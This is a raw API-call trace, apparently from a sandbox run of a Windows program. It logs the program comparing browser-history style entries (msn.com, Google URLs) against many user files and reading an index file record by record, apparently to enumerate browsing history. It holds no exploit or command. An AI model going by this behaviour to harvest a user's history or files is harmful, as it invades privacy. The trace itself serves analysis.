	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/3jeeh-g.odp") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/bltg0rl3nb.png") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/bje6sqpktej5ai.bmp") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/nrq59ukxj6dze-tfnqq.gif") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/znv%20lfhavonxumc%20fxu.odp") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/3t2qnwuxoqq.pps") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/jwwryfgwlfsbnup.flv") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/tqt7wx7.xls") returned -1
	[0099.012] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/nd14d.gif") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/5rqep7-vx1ygvh94.gif") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/lju8cb2ran_hv.doc") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ofu_jx%20yuimdkwmu_vek.bmp") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/srrtig0h57md7foq.png") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/m8jawqgwnfk3r.pdf") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/khuiwj64lmgtzh.jpg") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/dwdqwqikyamuduld%20jx.rtf") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0wivbf.csv") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/iy%20rcuc.mkv") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/bevjyszqr-.gif") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/fc88iuvgwej3y_pirp.ppt") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/jt2b9xgk.pptx") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vr0ab02ujidxw.pdf") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/vyu23pd0p.mkv") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/mmahi-g_fuffb.gif") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/pu9mybzfycy.bmp") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/c7umtyr5uw74swgh.png") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/ld3f.pptx") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/vhi25hujibczp2mvnbex.png") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/tfsywj%206wokl.doc") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/8d7-g4x_lgzhuee.flv") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/hk3cbszz.flv") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/arieomv7r.bmp") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/of4idaer6r29bld.doc") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/5a8zeskp_e.docx") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0b7hrz8fr.odt") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/pbp%20_rthbgpsckes8goz.flv") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/axlrt.csv") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/amp_kb-vbr2dhx15m.docx") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/vaukxb2bjuyjx-gaj.mkv") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/prnexr%20mfylj1t2oh.pptx") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ibcczxulce5fcba-jqaa.bmp") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/xpszo2h.mkv") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/6yy1ykjsm6.odt") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/46pyemmg5u/v6xsq22m7soi-9t6h-o.flv") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/bnudyfuvwhuv-byl.pptx") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned -1
	[0099.013] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned -1
	[0099.014] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned -1
	[0099.014] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned -1
	[0099.014] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned -1
	[0099.014] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/gjve.gif") returned -1
	[0099.014] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned -1
	[0099.014] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/gyqqz0qe7obpq.xlsx") returned -1
	[0099.014] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/appdata/roaming/qllz-y6zxxcgv.pptx") returned -1
	[0099.014] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/h9ejn.jpg") returned -1
	[0099.014] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/aetadzjz/documents/vx8qqgxiv3q7qe87.pptx") returned -1
	[0099.014] wcslen (_String=":host: www.msn.com") returned 0x12
	[0099.014] SetFilePointer (in: hFile=0xc4, lDistanceToMove=20736, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5100
	[0099.014] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.014] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned 0
	[0099.014] SetFilePointer (in: hFile=0xc4, lDistanceToMove=20736, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5100
	[0099.014] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x1822c4, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c4*=0x100, lpOverlapped=0x0) returned 1
	[0099.014] _strlwr (in: _Str="http://www.msn.com/de-de/" | out: _Str="http://www.msn.com/de-de/") returned="http://www.msn.com/de-de/"
	[0099.014] wcscmp (_String1="http://www.msn.com/de-de/", _String2=":host: www.msn.com") returned 1
	[0099.014] wcscmp (_String1="http://www.msn.com/de-de/", _String2="http://google.com") returned 1
	[0099.014] wcscmp (_String1="http://www.msn.com/de-de/", _String2="https://www.google.de/") returned -1
	[0099.014] wcscmp (_String1="http://www.msn.com/de-de/", _String2="http://www.google.de/") returned 1
	[0099.014] wcscmp (_String1="http://www.msn.com/de-de/", _String2="http://www.msn.com/de-de/") returned 0
	[0099.015] SetFilePointer (in: hFile=0xc4, lDistanceToMove=20992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5200
	[0099.015] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.015] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.015] SetFilePointer (in: hFile=0xc4, lDistanceToMove=21120, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5280
	[0099.015] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.015] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.015] SetFilePointer (in: hFile=0xc4, lDistanceToMove=21248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5300
	[0099.015] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.015] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.015] SetFilePointer (in: hFile=0xc4, lDistanceToMove=21376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5380
	[0099.015] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.015] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.015] SetFilePointer (in: hFile=0xc4, lDistanceToMove=21504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5400
	[0099.015] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.015] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.015] SetFilePointer (in: hFile=0xc4, lDistanceToMove=21632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5480
	[0099.015] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.015] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.015] SetFilePointer (in: hFile=0xc4, lDistanceToMove=21760, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5500
	[0099.015] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.015] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.015] SetFilePointer (in: hFile=0xc4, lDistanceToMove=21888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5580
	[0099.015] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.015] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.015] SetFilePointer (in: hFile=0xc4, lDistanceToMove=22016, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5600
	[0099.015] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.015] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.015] SetFilePointer (in: hFile=0xc4, lDistanceToMove=22144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5680
	[0099.015] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.015] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.015] SetFilePointer (in: hFile=0xc4, lDistanceToMove=22272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5700
	[0099.015] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.015] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.015] SetFilePointer (in: hFile=0xc4, lDistanceToMove=22400, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5780
	[0099.016] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.016] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.016] SetFilePointer (in: hFile=0xc4, lDistanceToMove=22528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5800
	[0099.016] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.016] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.016] SetFilePointer (in: hFile=0xc4, lDistanceToMove=22656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5880
	[0099.016] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.016] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.016] SetFilePointer (in: hFile=0xc4, lDistanceToMove=22784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5900
	[0099.016] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.016] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.016] SetFilePointer (in: hFile=0xc4, lDistanceToMove=22912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5980
	[0099.016] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.016] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.016] SetFilePointer (in: hFile=0xc4, lDistanceToMove=23040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a00
	[0099.016] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.016] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.016] SetFilePointer (in: hFile=0xc4, lDistanceToMove=23168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a80
	[0099.016] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.016] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.016] SetFilePointer (in: hFile=0xc4, lDistanceToMove=23296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b00
	[0099.016] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.016] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.016] SetFilePointer (in: hFile=0xc4, lDistanceToMove=23424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b80
	[0099.016] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.016] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.016] SetFilePointer (in: hFile=0xc4, lDistanceToMove=23552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c00
	[0099.016] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.016] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.016] SetFilePointer (in: hFile=0xc4, lDistanceToMove=23680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c80
	[0099.016] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.016] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.016] SetFilePointer (in: hFile=0xc4, lDistanceToMove=23808, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d00
	[0099.016] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.016] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.016] SetFilePointer (in: hFile=0xc4, lDistanceToMove=23936, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d80
	[0099.016] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.017] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.017] SetFilePointer (in: hFile=0xc4, lDistanceToMove=24064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e00
	[0099.017] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.017] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.017] SetFilePointer (in: hFile=0xc4, lDistanceToMove=24192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e80
	[0099.017] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.017] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.017] SetFilePointer (in: hFile=0xc4, lDistanceToMove=24320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5f00
	[0099.017] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.017] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.017] SetFilePointer (in: hFile=0xc4, lDistanceToMove=24448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5f80
	[0099.017] ReadFile (in: hFile=0xc4, lpBuffer=0x186520, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x1822c8, lpOverlapped=0x0 | out: lpBuffer=0x186520*, lpNumberOfBytesRead=0x1822c8*=0x8, lpOverlapped=0x0) returned 1
	[0099.017] _memicmp (_Buf1=0x186520, _Buf2=0x4485ec, _Size=0x4) returned -1
	[0099.017] SetFilePointer (in: hFile=0xc4, lDistanceToMove=24576, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6000
